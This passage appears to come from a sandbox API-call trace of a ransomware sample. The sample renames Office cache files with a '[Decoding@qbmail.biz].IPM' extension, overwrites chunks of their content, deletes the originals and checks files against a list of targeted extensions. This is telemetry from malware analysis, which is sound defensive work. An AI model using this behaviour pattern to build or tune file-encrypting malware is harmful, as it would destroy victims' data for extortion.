users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0073.223] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0073.224] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.224] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.488] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.488] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.567] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.567] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.567] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.419] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.419] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0074.934] SetEndOfFile (hFile=0x1c4) returned 1 [0074.934] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f74010 [0075.111] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0075.111] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.282] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.282] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.292] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.292] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.296] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f74010 | out: hHeap=0x5d0000) returned 1 [0076.434] CloseHandle (hObject=0x1c4) returned 1 [0077.770] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0077.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.771] lstrlenW (lpString=".doc") returned 4 [0077.771] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.771] lstrlenW (lpString=".docx") returned 5 [0077.771] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.771] lstrlenW (lpString=".pdf") returned 4 [0077.771] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.771] lstrlenW (lpString=".xls") returned 4 [0077.771] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.771] lstrlenW (lpString=".xlsx") returned 5 [0077.772] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.772] lstrlenW (lpString=".ppt") returned 4 [0077.772] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.772] lstrlenW (lpString=".zip") returned 4 [0077.772] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".rar") returned 4 [0077.772] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".bz2") returned 4 [0077.772] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString=".7z") returned 3 [0077.772] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.772] lstrlenW (lpString=".dbf") returned 4 [0077.772] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.772] lstrlenW (lpString=".1cd") returned 4 [0077.772] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.773] lstrlenW (lpString=".jpg") returned 4 [0077.773] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.773] lstrlenW (lpString=".doc") returned 4 [0077.773] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString=".docx") returned 5 [0077.773] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.773] lstrlenW (lpString=".pdf") returned 4 [0077.773] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".xls") returned 4 [0077.773] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.773] lstrlenW (lpString=".xlsx") returned 5 [0077.773] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.773] lstrlenW (lpString=".ppt") returned 4 [0077.774] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.774] lstrlenW (lpString=".zip") returned 4 [0077.774] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.774] lstrlenW (lpString=".rar") returned 4 [0077.774] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.774] lstrlenW (lpString=".bz2") returned 4 [0077.774] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.774] lstrlenW (lpString=".7z") returned 3 [0077.774] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.774] lstrlenW (lpString=".dbf") returned 4 [0077.774] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.774] lstrlenW (lpString=".1cd") returned 4 [0077.774] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0077.774] lstrlenW (lpString=".jpg") returned 4 [0077.774] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.775] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0077.775] lstrlenW (lpString="OutlkLR.cab") returned 11 [0077.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0077.776] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=14819276) returned 1 [0077.776] CloseHandle (hObject=0x1c4) returned 1 [0077.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0077.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.776] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0077.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0077.777] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0077.777] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.777] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.786] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.790] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.799] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.799] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.799] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.089] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.089] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0078.179] SetEndOfFile (hFile=0x1c4) returned 1 [0078.180] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f74010 [0078.319] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.319] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.466] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.467] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.468] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.468] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f74010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74010*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.471] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f74010 | out: hHeap=0x5d0000) returned 1 [0078.566] CloseHandle (hObject=0x1c4) returned 1 [0083.695] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0083.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.696] lstrlenW (lpString=".doc") returned 4 [0083.696] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.696] lstrlenW (lpString=".docx") returned 5 [0083.696] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.696] lstrlenW (lpString=".pdf") returned 4 [0083.696] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.696] lstrlenW (lpString=".xls") returned 4 [0083.696] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.696] lstrlenW (lpString=".xlsx") returned 5 [0083.696] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.696] lstrlenW (lpString=".ppt") returned 4 [0083.697] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.697] lstrlenW (lpString=".zip") returned 4 [0083.697] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.697] lstrlenW (lpString=".rar") returned 4 [0083.697] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.697] lstrlenW (lpString=".bz2") returned 4 [0083.697] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.697] lstrlenW (lpString=".7z") returned 3 [0083.697] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.697] lstrlenW (lpString=".dbf") returned 4 [0083.697] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.697] lstrlenW (lpString=".1cd") returned 4 [0083.697] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.697] lstrlenW (lpString=".jpg") returned 4 [0083.697] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.698] lstrlenW (lpString=".doc") returned 4 [0083.698] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.698] lstrlenW (lpString=".docx") returned 5 [0083.698] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.698] lstrlenW (lpString=".pdf") returned 4 [0083.698] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.698] lstrlenW (lpString=".xls") returned 4 [0083.698] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.698] lstrlenW (lpString=".xlsx") returned 5 [0083.698] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.698] lstrlenW (lpString=".ppt") returned 4 [0083.698] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.698] lstrlenW (lpString=".zip") returned 4 [0083.699] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.699] lstrlenW (lpString=".rar") returned 4 [0083.699] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.699] lstrlenW (lpString=".bz2") returned 4 [0083.699] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.699] lstrlenW (lpString=".7z") returned 3 [0083.699] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.699] lstrlenW (lpString=".dbf") returned 4 [0083.699] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.699] lstrlenW (lpString=".1cd") returned 4 [0083.699] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0083.699] lstrlenW (lpString=".jpg") returned 4 [0083.699] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.700] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0083.700] lstrlenW (lpString="Proof.msi") returned 9 [0083.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0083.700] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=875520) returned 1 [0083.701] CloseHandle (hObject=0x1c4) returned 1 [0083.701] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0083.701] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0083.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0083.701] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.701] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0083.702] GetLastError () returned 0x0 [0083.702] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x316fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0083.894] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0084.081] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.081] WriteFile (in: hFile=0x204, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0084.082] SetEndOfFile (hFile=0x204) returned 1 [0084.082] CloseHandle (hObject=0x204) returned 1 [0084.480] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.480] SetEndOfFile (hFile=0x1c4) returned 1 [0084.490] CloseHandle (hObject=0x1c4) returned 1 [0084.490] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0084.490] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0084.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.490] lstrlenW (lpString=".doc") returned 4 [0084.490] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.490] lstrlenW (lpString=".docx") returned 5 [0084.491] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0084.491] lstrlenW (lpString=".pdf") returned 4 [0084.491] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.491] lstrlenW (lpString=".xls") returned 4 [0084.491] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.491] lstrlenW (lpString=".xlsx") returned 5 [0084.491] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0084.491] lstrlenW (lpString=".ppt") returned 4 [0084.491] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.491] lstrlenW (lpString=".zip") returned 4 [0084.491] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.491] lstrlenW (lpString=".rar") returned 4 [0084.491] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.491] lstrlenW (lpString=".bz2") returned 4 [0084.491] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.491] lstrlenW (lpString=".7z") returned 3 [0084.491] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.491] lstrlenW (lpString=".dbf") returned 4 [0084.491] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.491] lstrlenW (lpString=".1cd") returned 4 [0084.491] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.491] lstrlenW (lpString=".jpg") returned 4 [0084.491] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.492] lstrlenW (lpString="C:\\MSOCache\\All 